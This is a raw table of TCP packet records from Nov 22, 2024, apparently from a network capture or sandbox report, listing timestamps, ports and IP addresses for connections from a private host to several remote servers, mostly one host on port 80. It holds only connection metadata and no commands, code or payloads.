Nov 22, 2024 14:44:00.548295975 CET	443	49906	13.107.246.63	192.168.2.6
Nov 22, 2024 14:44:00.548430920 CET	443	49906	13.107.246.63	192.168.2.6
Nov 22, 2024 14:44:00.548458099 CET	443	49906	13.107.246.63	192.168.2.6
Nov 22, 2024 14:44:00.548521996 CET	49906	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:44:00.549052954 CET	49923	443	192.168.2.6	18.164.116.57
Nov 22, 2024 14:44:00.549091101 CET	443	49923	18.164.116.57	192.168.2.6
Nov 22, 2024 14:44:00.549983978 CET	49923	443	192.168.2.6	18.164.116.57
Nov 22, 2024 14:44:00.550069094 CET	49923	443	192.168.2.6	18.164.116.57
Nov 22, 2024 14:44:00.550081015 CET	443	49923	18.164.116.57	192.168.2.6
Nov 22, 2024 14:44:00.551126957 CET	49924	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:44:00.551151037 CET	443	49924	13.107.246.63	192.168.2.6
Nov 22, 2024 14:44:00.551423073 CET	49924	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:44:00.552082062 CET	49924	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:44:00.552093029 CET	443	49924	13.107.246.63	192.168.2.6
Nov 22, 2024 14:44:00.567372084 CET	443	49919	104.117.182.73	192.168.2.6
Nov 22, 2024 14:44:00.568427086 CET	49919	443	192.168.2.6	104.117.182.73
Nov 22, 2024 14:44:00.568433046 CET	443	49919	104.117.182.73	192.168.2.6
Nov 22, 2024 14:44:00.579344988 CET	443	49916	104.117.182.73	192.168.2.6
Nov 22, 2024 14:44:00.580245018 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:44:00.580286980 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:44:00.580562115 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:44:00.580813885 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:44:00.580892086 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:44:00.580894947 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:44:00.580955982 CET	443	49915	104.117.182.73	192.168.2.6
Nov 22, 2024 14:44:00.581022978 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:44:00.581198931 CET	49915	443	192.168.2.6	104.117.182.73
Nov 22, 2024 14:44:00.581208944 CET	443	49915	104.117.182.73	192.168.2.6
Nov 22, 2024 14:44:00.581943035 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:44:00.581990004 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:44:00.582127094 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:44:00.582263947 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:44:00.582317114 CET	443	49915	104.117.182.73	192.168.2.6
Nov 22, 2024 14:44:00.582384109 CET	49915	443	192.168.2.6	104.117.182.73
Nov 22, 2024 14:44:00.582669020 CET	49915	443	192.168.2.6	104.117.182.73
Nov 22, 2024 14:44:00.582730055 CET	443	49915	104.117.182.73	192.168.2.6
Nov 22, 2024 14:44:00.582803965 CET	49915	443	192.168.2.6	104.117.182.73
Nov 22, 2024 14:44:00.583103895 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:44:00.583163023 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:44:00.583199978 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:44:00.583241940 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:44:00.583429098 CET	49916	443	192.168.2.6	104.117.182.73
Nov 22, 2024 14:44:00.583437920 CET	443	49916	104.117.182.73	192.168.2.6
Nov 22, 2024 14:44:00.584234953 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:44:00.584285021 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:44:00.584295988 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:44:00.584340096 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:44:00.585334063 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:44:00.585388899 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:44:00.585405111 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:44:00.585439920 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:44:00.587678909 CET	443	49918	104.117.182.73	192.168.2.6
Nov 22, 2024 14:44:00.589363098 CET	49918	443	192.168.2.6	104.117.182.73
Nov 22, 2024 14:44:00.589373112 CET	443	49918	104.117.182.73	192.168.2.6
Nov 22, 2024 14:44:00.590373993 CET	443	49918	104.117.182.73	192.168.2.6
Nov 22, 2024 14:44:00.590445042 CET	49918	443	192.168.2.6	104.117.182.73
Nov 22, 2024 14:44:00.590718031 CET	49918	443	192.168.2.6	104.117.182.73
Nov 22, 2024 14:44:00.590780020 CET	443	49918	104.117.182.73	192.168.2.6
Nov 22, 2024 14:44:00.591128111 CET	49918	443	192.168.2.6	104.117.182.73
Nov 22, 2024 14:44:00.591136932 CET	443	49918	104.117.182.73	192.168.2.6
Nov 22, 2024 14:44:00.614218950 CET	49919	443	192.168.2.6	104.117.182.73
Nov 22, 2024 14:44:00.627335072 CET	443	49915	104.117.182.73	192.168.2.6
Nov 22, 2024 14:44:00.629890919 CET	49916	443	192.168.2.6	104.117.182.73
Nov 22, 2024 14:44:00.629919052 CET	49915	443	192.168.2.6	104.117.182.73
Nov 22, 2024 14:44:00.629929066 CET	443	49915	104.117.182.73	192.168.2.6
Nov 22, 2024 14:44:00.637207031 CET	443	49907	13.107.246.63	192.168.2.6
Nov 22, 2024 14:44:00.640336990 CET	443	49907	13.107.246.63	192.168.2.6
Nov 22, 2024 14:44:00.640460968 CET	49907	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:44:00.640516043 CET	49907	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:44:00.640531063 CET	443	49907	13.107.246.63	192.168.2.6
Nov 22, 2024 14:44:00.640542984 CET	49907	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:44:00.640549898 CET	443	49907	13.107.246.63	192.168.2.6
Nov 22, 2024 14:44:00.643697023 CET	49925	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:44:00.643735886 CET	443	49925	13.107.246.63	192.168.2.6
Nov 22, 2024 14:44:00.644001961 CET	49925	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:44:00.644179106 CET	49925	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:44:00.644186020 CET	443	49925	13.107.246.63	192.168.2.6
Nov 22, 2024 14:44:00.645395041 CET	49918	443	192.168.2.6	104.117.182.73
Nov 22, 2024 14:44:00.675704956 CET	49915	443	192.168.2.6	104.117.182.73
Nov 22, 2024 14:44:00.709918022 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:44:00.710000038 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:44:00.710057020 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:44:00.710484028 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:44:00.710583925 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:44:00.710601091 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:44:00.710692883 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:44:00.711607933 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:44:00.711659908 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:44:00.711705923 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:44:00.711750984 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:44:00.712754011 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:44:00.712816000 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:44:00.712851048 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:44:00.712977886 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:44:00.713892937 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:44:00.713968039 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:44:00.714004993 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:44:00.714055061 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:44:00.714998007 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:44:00.715056896 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:44:00.715065956 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:44:00.715193987 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:44:00.716133118 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:44:00.716245890 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:44:00.716291904 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:44:00.717318058 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:44:00.717340946 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:44:00.717366934 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:44:00.717381954 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:44:00.718437910 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:44:00.718508005 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:44:00.718539953 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:44:00.718581915 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:44:00.719577074 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:44:00.719628096 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:44:00.719665051 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:44:00.719715118 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:44:00.720710039 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:44:00.720803022 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:44:00.733103037 CET	443	49910	13.107.246.63	192.168.2.6
Nov 22, 2024 14:44:00.736183882 CET	443	49910	13.107.246.63	192.168.2.6
Nov 22, 2024 14:44:00.736258984 CET	49910	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:44:00.736335039 CET	49910	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:44:00.736346960 CET	443	49910	13.107.246.63	192.168.2.6
Nov 22, 2024 14:44:00.736355066 CET	49910	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:44:00.736360073 CET	443	49910	13.107.246.63	192.168.2.6
Nov 22, 2024 14:44:00.740053892 CET	49926	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:44:00.740078926 CET	443	49926	13.107.246.63	192.168.2.6
Nov 22, 2024 14:44:00.740139008 CET	49926	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:44:00.740308046 CET	49926	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:44:00.740318060 CET	443	49926	13.107.246.63	192.168.2.6
Nov 22, 2024 14:44:00.770584106 CET	443	49909	13.107.246.63	192.168.2.6
Nov 22, 2024 14:44:00.773713112 CET	443	49909	13.107.246.63	192.168.2.6
Nov 22, 2024 14:44:00.773798943 CET	49909	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:44:00.773828983 CET	49909	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:44:00.773842096 CET	443	49909	13.107.246.63	192.168.2.6
Nov 22, 2024 14:44:00.773858070 CET	49909	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:44:00.773864985 CET	443	49909	13.107.246.63	192.168.2.6
Nov 22, 2024 14:44:00.776067972 CET	49927	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:44:00.776091099 CET	443	49927	13.107.246.63	192.168.2.6
Nov 22, 2024 14:44:00.776364088 CET	49927	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:44:00.776514053 CET	49927	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:44:00.776524067 CET	443	49927	13.107.246.63	192.168.2.6
Nov 22, 2024 14:44:00.781548023 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:44:00.781563997 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:44:00.781644106 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:44:00.809319973 CET	443	49912	20.110.205.119	192.168.2.6
Nov 22, 2024 14:44:00.809400082 CET	443	49912	20.110.205.119	192.168.2.6
Nov 22, 2024 14:44:00.809551001 CET	49912	443	192.168.2.6	20.110.205.119
Nov 22, 2024 14:44:00.810864925 CET	49912	443	192.168.2.6	20.110.205.119
Nov 22, 2024 14:44:00.810873985 CET	443	49912	20.110.205.119	192.168.2.6
Nov 22, 2024 14:44:00.839442968 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:44:00.839500904 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:44:00.839565039 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:44:00.839715958 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:44:00.840010881 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:44:00.840054035 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:44:00.840089083 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:44:00.840146065 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:44:00.841164112 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:44:00.841211081 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:44:00.841276884 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:44:00.841357946 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:44:00.842329025 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:44:00.842452049 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:44:00.842626095 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:44:00.842673063 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:44:00.843441010 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:44:00.843455076 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:44:00.843487978 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:44:00.843507051 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:44:00.844561100 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:44:00.844610929 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:44:00.844671011 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:44:00.844723940 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:44:00.845690966 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:44:00.845743895 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:44:00.845777035 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:44:00.845789909 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:44:00.846837044 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:44:00.846909046 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:44:00.846940041 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:44:00.847131968 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:44:00.848006964 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:44:00.848052979 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:44:00.848072052 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:44:00.848160982 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:44:00.849096060 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:44:00.849136114 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:44:00.849152088 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:44:00.849172115 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:44:00.850230932 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:44:00.850295067 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:44:00.850323915 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:44:00.850862980 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:44:00.851385117 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:44:00.851449966 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:44:00.851480007 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:44:00.851825953 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:44:00.852514982 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:44:00.852581024 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:44:00.852628946 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:44:00.852678061 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:44:00.853630066 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:44:00.853693962 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:44:00.853728056 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:44:00.853774071 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:44:00.854765892 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:44:00.854865074 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:44:00.854903936 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:44:00.854917049 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:44:00.855920076 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:44:00.855942011 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:44:00.855994940 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:44:00.856008053 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:44:00.857069016 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:44:00.857079983 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:44:00.857137918 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:44:00.858171940 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:44:00.858304977 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:44:00.858361959 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:44:00.859787941 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:44:00.859811068 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:44:00.859854937 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:44:00.859883070 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:44:00.860580921 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:44:00.860630035 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:44:00.860702991 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:44:00.861587048 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:44:00.861653090 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:44:00.861682892 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:44:00.861778975 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:44:00.862711906 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:44:00.862795115 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:44:00.877789021 CET	443	49911	20.189.173.7	192.168.2.6
Nov 22, 2024 14:44:00.877954006 CET	443	49911	20.189.173.7	192.168.2.6
Nov 22, 2024 14:44:00.878426075 CET	49911	443	192.168.2.6	20.189.173.7
Nov 22, 2024 14:44:00.878438950 CET	443	49911	20.189.173.7	192.168.2.6
Nov 22, 2024 14:44:00.878460884 CET	49911	443	192.168.2.6	20.189.173.7
Nov 22, 2024 14:44:00.878492117 CET	49911	443	192.168.2.6	20.189.173.7
Nov 22, 2024 14:44:00.910830021 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:44:00.910872936 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:44:00.910945892 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:44:00.912714005 CET	443	49914	23.101.168.44	192.168.2.6
Nov 22, 2024 14:44:00.912828922 CET	443	49914	23.101.168.44	192.168.2.6
Nov 22, 2024 14:44:00.913803101 CET	49914	443	192.168.2.6	23.101.168.44
Nov 22, 2024 14:44:00.914047956 CET	49914	443	192.168.2.6	23.101.168.44
Nov 22, 2024 14:44:00.914055109 CET	443	49914	23.101.168.44	192.168.2.6
Nov 22, 2024 14:44:00.918916941 CET	49928	443	192.168.2.6	23.101.168.44
Nov 22, 2024 14:44:00.918956041 CET	443	49928	23.101.168.44	192.168.2.6
Nov 22, 2024 14:44:00.919135094 CET	49928	443	192.168.2.6	23.101.168.44
Nov 22, 2024 14:44:00.919358015 CET	49928	443	192.168.2.6	23.101.168.44
Nov 22, 2024 14:44:00.919375896 CET	443	49928	23.101.168.44	192.168.2.6
Nov 22, 2024 14:44:00.925009012 CET	443	49917	104.117.182.73	192.168.2.6
Nov 22, 2024 14:44:00.925026894 CET	443	49917	104.117.182.73	192.168.2.6
Nov 22, 2024 14:44:00.925076008 CET	49917	443	192.168.2.6	104.117.182.73
Nov 22, 2024 14:44:00.925085068 CET	443	49917	104.117.182.73	192.168.2.6
Nov 22, 2024 14:44:00.925105095 CET	443	49917	104.117.182.73	192.168.2.6
Nov 22, 2024 14:44:00.925156116 CET	49917	443	192.168.2.6	104.117.182.73
Nov 22, 2024 14:44:00.925956964 CET	49917	443	192.168.2.6	104.117.182.73
Nov 22, 2024 14:44:00.925962925 CET	443	49917	104.117.182.73	192.168.2.6
Nov 22, 2024 14:44:00.951291084 CET	443	49919	104.117.182.73	192.168.2.6
Nov 22, 2024 14:44:00.951406002 CET	443	49919	104.117.182.73	192.168.2.6
Nov 22, 2024 14:44:00.951993942 CET	49919	443	192.168.2.6	104.117.182.73
Nov 22, 2024 14:44:00.952223063 CET	49919	443	192.168.2.6	104.117.182.73
Nov 22, 2024 14:44:00.952229023 CET	443	49919	104.117.182.73	192.168.2.6
Nov 22, 2024 14:44:00.969057083 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:44:00.969118118 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:44:00.969182968 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:44:00.969242096 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:44:00.969809055 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:44:00.969856977 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:44:00.969979048 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:44:00.970035076 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:44:00.970793009 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:44:00.970834970 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:44:00.970880032 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:44:00.971908092 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:44:00.971975088 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:44:00.972007036 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:44:00.972157001 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:44:00.973025084 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:44:00.973095894 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:44:00.973181009 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:44:00.974195957 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:44:00.974256039 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:44:00.974333048 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:44:00.974436998 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:44:00.975388050 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:44:00.975461006 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:44:00.975480080 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:44:00.975683928 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:44:00.976502895 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:44:00.976577997 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:44:00.976610899 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:44:00.976797104 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:44:00.977572918 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:44:00.977642059 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:44:00.977667093 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:44:00.977710962 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:44:00.978784084 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:44:00.978899002 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:44:00.979039907 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:44:00.979911089 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:44:00.979923964 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:44:00.979991913 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:44:00.980074883 CET	443	49916	104.117.182.73	192.168.2.6
Nov 22, 2024 14:44:00.980139971 CET	443	49916	104.117.182.73	192.168.2.6
Nov 22, 2024 14:44:00.980160952 CET	443	49916	104.117.182.73	192.168.2.6
Nov 22, 2024 14:44:00.980201960 CET	49916	443	192.168.2.6	104.117.182.73
Nov 22, 2024 14:44:00.980214119 CET	443	49916	104.117.182.73	192.168.2.6
Nov 22, 2024 14:44:00.980227947 CET	49916	443	192.168.2.6	104.117.182.73
Nov 22, 2024 14:44:00.980319023 CET	443	49916	104.117.182.73	192.168.2.6
Nov 22, 2024 14:44:00.980993032 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:44:00.981070995 CET	49916	443	192.168.2.6	104.117.182.73
Nov 22, 2024 14:44:00.981086016 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:44:00.981113911 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:44:00.981133938 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:44:00.981935024 CET	49916	443	192.168.2.6	104.117.182.73
Nov 22, 2024 14:44:00.981941938 CET	443	49916	104.117.182.73	192.168.2.6
Nov 22, 2024 14:44:00.982153893 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:44:00.982286930 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:44:00.982330084 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:44:00.983267069 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:44:00.983412981 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:44:00.983493090 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:44:00.984361887 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:44:00.984406948 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:44:00.984515905 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:44:00.984570026 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:44:00.985547066 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:44:00.985620022 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:44:00.985658884 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:44:00.985773087 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:44:00.986658096 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:44:00.986707926 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:44:00.986826897 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:44:00.986876011 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:44:00.987813950 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:44:00.987895012 CET	49819	80	192.168.2.6	185.215.113.206
